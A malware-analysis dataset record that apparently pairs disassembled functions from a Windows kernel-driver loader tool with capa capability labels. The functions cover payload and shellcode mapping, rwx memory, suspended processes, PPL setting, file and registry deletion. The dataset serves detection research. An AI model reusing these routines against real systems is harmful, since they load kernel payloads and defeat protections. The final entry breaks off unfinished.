joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002fd4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x20], r9d
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x50
xor edi, edi
mov rbx, r8
and qword [rbp + 0x30], rdi
mov rsi, rdx
mov rax, rcx
test r8, r8
je 0x140002fff
and dword [r8], edi
xor ecx, ecx
and dword [rbp + 0x38], ecx
mov qword [rbp + 0x28], rcx
test rsi, rsi
je 0x140003055
and qword [rbp - 8], rcx
lea r8d, [rcx + 3]
mov rcx, rsi
mov qword [rbp - 0x18], 0xa
lea r9, [rbp - 0x20]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x18]
call qword [sym.imp.ntdll.dll_LdrFindResource_U]
test eax, eax
js 0x140003051
mov rdx, qword [rbp - 0x20]
lea r9, [rbp + 0x38]
lea r8, [rbp + 0x28]
mov rcx, rsi
call qword [sym.imp.ntdll.dll_LdrAccessResource]
test eax, eax
cmovns edi, dword [rbp + 0x38]
mov rcx, qword [rbp + 0x28]
test rcx, rcx
je 0x14000307c
test edi, edi
je 0x14000307c
mov al, byte [rbp + 0x40]
lea r8, [rbp + 0x30]
mov edx, edi
mov byte [rsp + 0x20], al
call fcn.14000308c
test rbx, rbx
je 0x14000307e
mov ecx, dword [rbp + 0x30]
mov dword [rbx], ecx
jmp 0x14000307e
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000308c
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov dword [rax + 0x20], r9d
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x57]
sub rsp, 0x90
mov r15, rcx
lea rdi, [rbp - 0x11]
xor eax, eax
xor ebx, ebx
and qword [r8], rbx
mov rsi, rdx
mov r12, r8
mov r8, rsi
lea edx, [rbx + 0x18]
mov ecx, edx
rep stosb byte [rdi], al
mov ecx, edx
lea rdi, [rbp - 0x31]
rep stosb byte [rdi], al
lea rdi, [rbp - 0x41]
lea ecx, [rbx + 0x10]
rep stosb byte [rdi], al
mov rax, qword gs:[0x30]
lea edx, [rbx + 8]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov r14, rax
test rax, rax
je 0x1400031fd
mov r8, rsi
mov rdx, r15
mov rcx, rax
call fcn.14003eb70
test esi, esi
je 0x14000312b
mov eax, 0x206f776f
mov edx, esi
mov rcx, r14
xor byte [rcx], al
inc rcx
rol eax, 1
add edx, 0xffffffff
jne 0x14000311f
and dword [rbp - 0x21], ebx
lea r9, [rbp - 0x41]
movsd xmm1, qword [rbp - 0x21]
lea r8, [rbp + 0xf]
mov qword [rbp - 0x31], r14
lea rdx, [rbp - 0x31]
mov qword [rbp - 0x29], rsi
mov ecx, 1
movups xmm0, xmmword [rbp - 0x31]
movsd qword [rbp + 0x1f], xmm1
movsd xmm1, qword [rbp - 1]
movaps xmmword [rbp + 0xf], xmm0
movups xmm0, xmmword [rbp - 0x11]
movsd qword [rbp - 0x21], xmm1
movaps xmmword [rbp - 0x31], xmm0
call qword [sym.imp.msdelta.dll_ApplyDeltaB]
test eax, eax
je 0x1400031e1
mov rdi, qword [rbp - 0x39]
mov rsi, qword [rbp - 0x41]
cmp byte [rbp + 0x7f], bl
je 0x14000319e
and dword [rbp + 0x6f], ebx
lea r9, [rbp + 0x77]
and dword [rbp + 0x77], ebx
lea r8, [rbp + 0x6f]
mov edx, edi
mov rcx, rsi
call fcn.14000f5c4
test al, al
je 0x1400031d7
mov rax, qword gs:[0x30]
mov r8, rdi
mov edx, 8
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x1400031d7
mov r8, rdi
mov rdx, rsi
mov rcx, rax
call fcn.14003eb70
mov qword [r12], rdi
mov rcx, qword [rbp - 0x41]
call qword [sym.imp.msdelta.dll_DeltaFree]
mov rax, qword gs:[0x30]
mov r8, r14
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
lea r11, [rsp + 0x90]
mov rax, rbx
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x140003550
Capabilities:
Map section object

Disassembly:
push rbx
sub rsp, 0x50
and qword [rsp + 0x60], 0
mov r10, rdx
mov r8d, dword [rcx + 8]
mov rbx, rcx
sub r8d, 1
je 0x140003570
sub r8d, 1
mov dword [rsp + 0x48], 4
lea r8, [rsp + 0x60]
and dword [rsp + 0x40], 0
mov eax, 0x1000
mov dword [rsp + 0x38], 2
mov ecx, eax
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x30], rcx
xor r9d, r9d
and qword [rsp + 0x28], 0
mov rcx, r10
or rdx, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
test eax, eax
js 0x1400035eb
mov edx, dword [rbx + 8]
sub edx, 1
je 0x1400035cc
cmp edx, 1
je 0x1400035da
lea rdx, str.___Driver_Mapping_Status:_e_92mSuccesse_0m_n
xor ecx, ecx
call fcn.1400103f0
mov rdx, qword [rsp + 0x60]
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
jmp 0x1400035ff
mov r8d, eax
lea rdx, str.__lX__r_n
mov ecx, 1
call fcn.1400103f0
add rsp, 0x50
pop rbx
ret
Function at 0x140003c60
Capabilities:
Get windows directory from kuser_shared_data

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x370]
sub rsp, 0x470
mov rsi, qword [rcx + 0x18]
xor r12d, r12d
mov dword [rbp + 0x3b0], r12d
mov r14, r8
mov qword [rsp + 0x40], r12
mov r15, rdx
mov qword [rbp + 0x3c8], r12
mov rdi, rcx
mov qword [rbp + 0x3c0], r12
mov ebx, r12d
mov qword [r8], r12
test rsi, rsi
jne 0x140003cc5
lea rdx, str.____Cannot_query_ntoskrnl_loaded_base__abort_r_n
mov ecx, 1
call fcn.1400103f0
jmp 0x140003e03
mov ecx, 0x7ffe0030
lea rax, [rsp + 0x60]
cmp rax, rcx
je 0x140003cfd
movzx edx, word [rcx]
lea rax, [rsp + 0x60]
test dx, dx
je 0x140003cf9
lea r8, [rsp + 0x60]
sub rcx, r8
mov word [rax], dx
add rax, 2
movzx edx, word [rcx + rax]
test dx, dx
jne 0x140003ce9
mov word [rax], r12w
lea rdx, str._system32_ntoskrnl.exe
lea rcx, [rsp + 0x60]
call fcn.140002188
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x48]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea r9, [rbp + 0x3c0]
xor edx, edx
lea r8, [rsp + 0x48]
xor ecx, ecx
call qword [sym.imp.ntdll.dll_LdrLoadDll]
mov r8d, eax
test eax, eax
js 0x140003df2
mov rax, qword [rbp + 0x3c0]
test rax, rax
je 0x140003df2
mov qword [rsp + 0x28], rsi
lea r8, [rsp + 0x40]
mov r9, r15
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x3c8]
mov qword [rdi + 0x20], rax
mov rcx, rdi
call fcn.140003608
test eax, eax
jne 0x140003d84
lea rdx, str.____Error_while_mapping_payload__abort_r_n
jmp 0x140003cb6
mov rdx, qword [rbp + 0x3c8]
lea rax, [rbp + 0x3b0]
mov r9, qword [rbp + 0x3c0]
mov r8, qword [rsp + 0x40]
mov ecx, dword [rdi + 8]
mov qword [rsp + 0x30], rax
mov eax, dword [rdi + 0xc]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
mov qword [r14], rdx
call fcn.14000e4fc
mov rbx, rax
test rax, rax
je 0x140003e03
cmp dword [rbp + 0x3b0], r12d
jne 0x140003e03
lea rdx, str.____Unexpected_shellcode_procedure_size__abort_r_n
mov ecx, 1
call fcn.1400103f0
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rbx, r12
jmp 0x140003e03
lea rdx, str.____Error:_NTSTATUS__0x_lX__r_n
mov ecx, 1
call fcn.1400103f0
mov rax, rbx
add rsp, 0x470
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x1400072c8
Capabilities:
Access peb ldr_data
Delete file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rax, qword gs:[0x30]
lea r13, str.dbutildrv2.cat
xor edi, edi
mov r14, rcx
mov esi, edi
mov r8, qword [rax + 0x60]
mov rax, r13
mov rbp, qword [r8 + 0x20]
add rax, 2
cmp word [rax], di
jne 0x140007306
sub rax, r13
lea r12, str.dbutildrv2.inf
sar rax, 1
mov rcx, r12
add rcx, 2
cmp word [rcx], di
jne 0x14000731f
sub rcx, r12
sar rcx, 1
add rcx, rax
movzx eax, word [rbp + 0x38]
lea rbx, [rax + rcx*2]
test dl, dl
je 0x140007434
mov rcx, r14
call fcn.14000c3c4
test eax, eax
jne 0x14000735f
mov ecx, 0x54f
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x1400074d7
mov rax, qword gs:[0x30]
lea r8, [rbx + 0x40]
mov edx, 8
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x1400074cd
movzx edx, word [rbp + 0x38]
mov rcx, rax
mov r8, qword [rbp + 0x40]
shr rdx, 1
mov r9, rdx
call fcn.14000222c
lea rdx, [0x14004cfa8]
call fcn.140002188
mov rdx, r13
mov rcx, rbx
mov r15, rax
call fcn.140002188
mov rcx, qword [r14 + 0x10]
mov r8d, 0x3e8
mov rdx, rbx
call fcn.1400107f0
test eax, eax
je 0x140007413
mov rdx, r12
mov word [r15], di
mov rcx, rbx
call fcn.140002188
mov rcx, qword [r14 + 0x10]
mov r8d, 0x3e9
mov rdx, rbx
call fcn.1400107f0
test eax, eax
je 0x140007413
mov rcx, rbx
mov qword [0x14005ae98], rdi
call fcn.1400105bc
mov esi, eax
test eax, eax
jne 0x140007413
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rcx, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rcx + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
jmp 0x1400074cd
mov rax, qword gs:[0x30]
lea r8, [rbx + 0x40]
mov edx, 8
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov r14, rax
test rax, rax
je 0x1400074cd
movzx edx, word [rbp + 0x38]
mov rcx, rax
mov r8, qword [rbp + 0x40]
shr rdx, 1
mov r9, rdx
call fcn.14000222c
lea rdx, [0x14004cfa8]
call fcn.140002188
mov rdx, r13
mov rcx, r14
mov rbx, rax
call fcn.140002188
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdx, r12
mov word [rbx], di
mov rcx, r14
call fcn.140002188
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rax, qword gs:[0x30]
mov r8, r14
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov esi, 1
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, esi
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x14000ab08
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
xor r10d, r10d
mov r9, rcx
mov qword [rcx], r10
mov r11, rdx
mov qword [rcx + 8], r10
movdqu xmm2, xmmword [rcx]
lea ebx, [r10 + 0x69]
mov ecx, r10d
movzx r8d, r11b
mov edx, 0xaa
cmp r8b, bl
cmovne rdx, rbx
shr r11, 8
xor r8, rdx
mov rax, rdx
shl rax, cl
inc r10d
shl r8, cl
add ecx, 8
movq xmm0, rax
movq xmm1, r8
punpcklqdq xmm1, xmm0
paddq xmm1, xmm2
movdqa xmm2, xmm1
movdqu xmmword [r9], xmm1
cmp r10d, 8
jb 0x14000ab28
mov rbx, qword [rsp + 8]
mov rax, r9
ret

Function at 0x14000b410
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xd0
mov rsi, rcx
mov word [rbp + 0x73], 0x500
xor r15d, r15d
mov dword [rbp - 0x69], 0x101
lea rcx, [rbp - 0x59]
mov dword [rbp + 0x6f], r15d
mov r8b, 2
mov qword [rbp - 0x65], 0x1000000
lea rdx, [rbp + 0x6f]
call qword [sym.imp.ntdll.dll_RtlInitializeSid]
xor edx, edx
lea rcx, [rbp - 0x59]
call qword [sym.imp.ntdll.dll_RtlSubAuthoritySid]
lea edx, [r15 + 1]
lea rcx, [rbp - 0x59]
mov dword [rax], 0x20
call qword [sym.imp.ntdll.dll_RtlSubAuthoritySid]
lea rcx, [rbp - 0x59]
mov dword [rax], 0x220
call qword [sym.imp.ntdll.dll_RtlLengthSid]
lea rcx, [rbp - 0x69]
mov r14d, eax
call qword [sym.imp.ntdll.dll_RtlLengthSid]
add eax, 0x48
lea edx, [r15 + 8]
add r14d, eax
mov rax, qword gs:[0x30]
mov r8d, r14d
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x14000b527
lea edx, [r15 + 1]
mov rcx, rax
lea rdi, [rax + 0x28]
call qword [sym.imp.ntdll.dll_RtlCreateSecurityDescriptor]
lea edx, [r14 - 0x28]
mov rcx, rdi
lea r8d, [r15 + 2]
call qword [sym.imp.ntdll.dll_RtlCreateAcl]
lea r9, [rbp - 0x59]
mov r8d, 0x1f0001
lea edx, [r15 + 2]
mov rcx, rdi
call qword [sym.imp.ntdll.dll_RtlAddAccessAllowedAce]
lea r9, [rbp - 0x69]
mov rcx, rdi
lea edx, [r15 + 2]
lea r8d, [r15 + 1]
call qword [sym.imp.ntdll.dll_RtlAddAccessAllowedAce]
xor r9d, r9d
mov r8, rdi
mov dl, 1
mov rcx, rbx
call qword [sym.imp.ntdll.dll_RtlSetDaclSecurityDescriptor]
lea rdx, str.KduPort
lea rcx, [rbp - 0x19]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rax, [rbp - 0x19]
mov dword [rbp - 0x49], 0x30
mov qword [rbp - 0x39], rax
lea rdi, [rbp - 9]
xor eax, eax
mov qword [rbp - 0x41], r15
lea r8, [rbp - 9]
mov dword [rbp - 0x31], 0x40
lea rdx, [rbp - 0x49]
mov qword [rbp - 0x29], rbx
mov qword [rbp - 0x21], r15
lea ecx, [rax + 0x48]
rep stosb byte [rdi], al
mov rcx, rsi
mov qword [rbp + 7], 0xa8
call qword [sym.imp.ntdll.dll_NtAlpcCreatePort]
mov edi, eax
test rbx, rbx
je 0x14000b5a1
mov rcx, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rcx + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
lea r11, [rsp + 0xd0]
mov eax, edi
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14000b848
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x20], r9
push rbx
sub rsp, 0x30
and dword [rsp + 0x58], 0
mov edx, 8
mov rax, qword gs:[0x30]
lea r8d, [rdx + 0x28]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x14000b8e9
mov rcx, qword [rsp + 0x60]
lea rax, [0x140006984]
mov qword [rbx], rax
lea r8, [0x14000b5c0]
lea rax, [0x140006970]
mov qword [rbx + 0x20], rcx
mov qword [rbx + 8], rax
mov r9, rbx
lea rax, [rsp + 0x58]
xor edx, edx
mov qword [rsp + 0x28], rax
xor ecx, ecx
and dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x14000b8cb
mov qword [rbx + 0x28], rax
jmp 0x14000b8e9
mov rax, qword gs:[0x30]
mov r8, rbx
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
xor ebx, ebx
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x14000c078
Capabilities:
Access pe header
Access peb ldr_data

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x3c0
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_HeapSetInformation]
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x10]
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
lea rdi, [rsp + 0xb0]
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
lea rdi, [rsp + 0x1b0]
mov ecx, 0x20a
rep stosb byte [rdi], al
mov dword [rsp + 0x3d0], 0x10208a4
mov dword [rsp + 0x3d4], 0xabcd3456
lea r9, [rsp + 0xb0]
mov r10, qword [rsp + 0x3d0]
mov word [rsp + 0xae], 0x5f2d
xor ebx, ebx
mov dil, bl
lea r8, [rsp + 0xa4]
movzx ecx, dil
lea edx, [rdi + 0x61]
lea eax, [rdx - 0x20]
mov byte [r8 - 0x34], al
mov byte [rsp + rcx + 0x8a], dl
cmp cl, 0xa
jae 0x14000c12b
sub dl, 0x31
mov byte [r8], dl
inc dil
inc r8
cmp dil, 0x1a
jl 0x14000c10b
mov ecx, 0xd
mov rax, r10
shr r10, 5
and eax, 0x3f
movsx eax, byte [rsp + rax + 0x70]
mov word [r9], ax
lea r9, [r9 + 2]
sub rcx, 1
jne 0x14000c13c
mov word [r9], bx
lea r9, [rsp + 0xb0]
lea r8, str.BaseNamedObjects_ws
mov edx, 0x104
lea rcx, [rsp + 0x1b0]
call fcn.140003278
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x28]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov dword [rsp + 0x38], 0x30
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x50], 0x40
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
xor r9d, r9d
lea r8, [rsp + 0x38]
mov edx, 0x1f0001
lea rcx, [rsp + 0x3d8]
call qword [sym.imp.ntdll.dll_NtCreateMutant]
mov edi, 0xb7
mov ecx, 0xc0000035
cmp eax, ecx
cmovne edi, ebx
je 0x14000c20b
call fcn.14000bd64
mov edi, eax
mov dword [rsp + 0x20], eax
jmp 0x14000c21c
lea rdx, str.____Another_instance_is_already_running._r_n
mov ecx, 1
call fcn.1400103f0
mov eax, edi
mov rbx, qword [rsp + 0x3e0]
add rsp, 0x3c0
pop rdi
ret
Function at 0x14000cfc0
Capabilities:
Create process on windows
Create process suspended
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xe0
mov rbx, rdx
mov rdi, rcx
xor edx, edx
lea rcx, [rbp - 0x15]
lea r8d, [rdx + 0x64]
call fcn.14003e7b0
xorps xmm0, xmm0
mov dword [rbp - 0x19], 0x68
xor eax, eax
lea rcx, str.___Creating_Process__s_r_n
mov rdx, rbx
mov qword [rbp - 0x29], rax
movups xmmword [rbp - 0x39], xmm0
call fcn.14000ce9c
lea rax, [rbp - 0x39]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rbp - 0x19]
mov rdx, rbx
mov qword [rsp + 0x40], rax
xor ecx, ecx
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
and dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x14000d06a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_create_process:_0x_x_n
call fcn.14000cef0
xor eax, eax
jmp 0x14000d0f7
mov edx, dword [rbp - 0x29]
lea rcx, str.___Created_Process_with_PID__d_r_n
call fcn.140003224
mov edx, dword [rbp - 0x29]
mov r9d, 1
mov rcx, rdi
lea r8d, [r9 + 2]
call fcn.14000d10c
mov ebx, eax
test eax, eax
jne 0x14000d0aa
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_set_process_as_PPL:_0x_x_n
call fcn.140003224
jmp 0x14000d063
mov rcx, qword [rbp - 0x31]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov edi, eax
cmp eax, 1
je 0x14000d0d4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, edi
lea rcx, str.____Failed_to_resume_process:__d__0x_x_n
mov r8d, eax
call fcn.140003224
jmp 0x14000d0f5
mov rcx, qword [rbp - 0x39]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x39]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x31]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x14000e4fc
Capabilities:
Allocate or change rwx memory

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x20], rsi
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov r13, r9
mov r15d, ecx
mov r14, qword [rsp + 0x80]
and dword [r14], 0
mov eax, ecx
sub eax, 1
je 0x14000e55f
sub eax, 1
je 0x14000e556
sub eax, 1
je 0x14000e54d
cmp eax, 1
jne 0x14000e55f
lea rbx, [0x14000d430]
jmp 0x14000e566
lea rbx, [0x14000d6b8]
jmp 0x14000e566
lea rbx, [0x14000db94]
jmp 0x14000e566
lea rbx, [0x14000de50]
mov rcx, rbx
call fcn.14000e128
mov esi, eax
mov r9d, 0x794
cmp eax, r9d
jbe 0x14000e596
mov r8d, esi
lea rdx, str.____Bootstrap_code_size_0x_lX_exceeds_limit_0x_lX__abort_r_n
mov ecx, 1
call fcn.1400103f0
xor eax, eax
jmp 0x14000e678
mov edx, 0x800
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x14000e58f
mov eax, dword [rsp + 0x78]
mov dword [rdi + 0x7a4], eax
mov rax, qword [rsp + 0x58]
mov qword [rdi + 0x7b8], rax
mov rax, qword [rsp + 0x60]
mov qword [rdi + 0x7a8], rax
movdqa xmm0, xmmword [0x14004fc50]
movups xmmword [rdi], xmm0
xor r8d, r8d
cmp r15d, 4
setne r8b
add r8, 0xc
lea rax, [0x140057ed0]
lea rdx, [0x140057ec0]
cmp r15d, 4
cmove rdx, rax
mov rcx, rdi
call fcn.14003eb70
mov r9, r13
mov r8, qword [rsp + 0x70]
mov rdx, rdi
call fcn.14000e1b0
test eax, eax
jne 0x14000e64a
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rdx, str.____Failed_to_resolve_base_shellcode_import_r_n
mov ecx, 1
call fcn.1400103f0
jmp 0x14000e58f
mov r8, rsi
mov rdx, rbx
lea rcx, [rdi + 0x10]
call fcn.14003eb70
nop
mov dword [r14], esi
mov rax, rdi
jmp 0x14000e678
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x68]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret

Function at 0x14000f1bc
Capabilities:
Map section object

Disassembly:
mov r11, rsp
sub rsp, 0x68
and qword [r11 + 0x10], 0
mov r10, rdx
and r10, 0xfffffffffffff000
mov eax, r8d
sub rax, r10
mov qword [r11 - 0x10], r10
add rax, rdx
lea r8, [r11 + 0x10]
mov qword [r11 - 0x18], rax
neg r9d
sbb eax, eax
xor r9d, r9d
and eax, 2
or rdx, 0xffffffffffffffff
add eax, 2
mov dword [rsp + 0x48], eax
lea rax, [r11 - 0x18]
and dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 2
mov qword [r11 - 0x38], rax
lea rax, [r11 - 0x10]
mov qword [r11 - 0x40], rax
and qword [r11 - 0x48], 0
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
test eax, eax
jns 0x14000f23d
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x14000f242
mov rax, qword [rsp + 0x78]
add rsp, 0x68
ret
Function at 0x14000f5c4
Capabilities:
Access pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov edi, edx
xor ebp, ebp
mov r14, r8
mov rsi, r9
mov r8, rcx
mov rdx, rcx
mov r10d, ebp
lea r11d, [rdi + 1]
shr r11d, 1
je 0x14000f616
movzx eax, word [rdx]
lea rdx, [rdx + 2]
add r10d, eax
mov ecx, r10d
movzx r10d, r10w
shr ecx, 0x10
add r10d, ecx
add r11d, 0xffffffff
jne 0x14000f5f9
mov ebx, r10d
mov rcx, r8
shr ebx, 0x10
add bx, r10w
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
test rax, rax
je 0x14000f64d
movzx ecx, word [rax + 0x58]
cmp bx, cx
adc cx, bp
sub bx, cx
movzx ecx, word [rax + 0x5a]
cmp bx, cx
adc cx, bp
sub bx, cx
mov ecx, dword [rax + 0x58]
jmp 0x14000f652
mov ecx, edi
movzx ebx, bp
movzx eax, bx
add eax, edi
test r14, r14
je 0x14000f65f
mov dword [r14], ecx
test rsi, rsi
je 0x14000f666
mov dword [rsi], eax
mov rbx, qword [rsp + 0x30]
cmp eax, ecx
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
sete al
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x14000f688
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov r14, 0xffffffff80000002
mov rsi, rdx
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
xor ebx, ebx
test eax, eax
je 0x14000f7bb
lea rax, [rbp + 0x190]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x14000f6fa
cmp eax, 2
je 0x14000f7bb
xor eax, eax
jmp 0x14000f7c0
mov rdi, rsi
test rsi, rsi
jne 0x14000f707
mov rdi, rbx
jmp 0x14000f715
cmp word [rsi], bx
je 0x14000f715
add rdi, 2
cmp word [rdi], bx
jne 0x14000f70c
mov eax, 0x5c
cmp word [rdi - 2], ax
je 0x14000f72a
mov word [rdi], ax
add rdi, 2
mov word [rdi], bx
mov r15d, 0x104
jmp 0x14000f754
mov r9, r15
lea r8, [rsp + 0x40]
mov rdx, r15
mov rcx, rdi
call fcn.14000222c
mov rdx, rsi
mov rcx, r14
call fcn.14000f688
test eax, eax
je 0x14000f795
mov rcx, qword [rbp + 0x190]
lea rax, [rbp + 0x198]
mov qword [rsp + 0x38], rax
lea r9, [rbp + 0x180]
mov qword [rsp + 0x30], rbx
lea r8, [rsp + 0x40]
mov qword [rsp + 0x28], rbx
xor edx, edx
mov qword [rsp + 0x20], rbx
mov dword [rbp + 0x180], r15d
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x14000f732
mov rcx, qword [rbp + 0x190]
mov word [rdi - 2], bx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
sete bl
mov eax, ebx
jmp 0x14000f7c0
mov eax, 1
mov rbx, qword [rsp + 0x288]
add rsp, 0x250
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000f7d8
Capabilities:
Set registry value

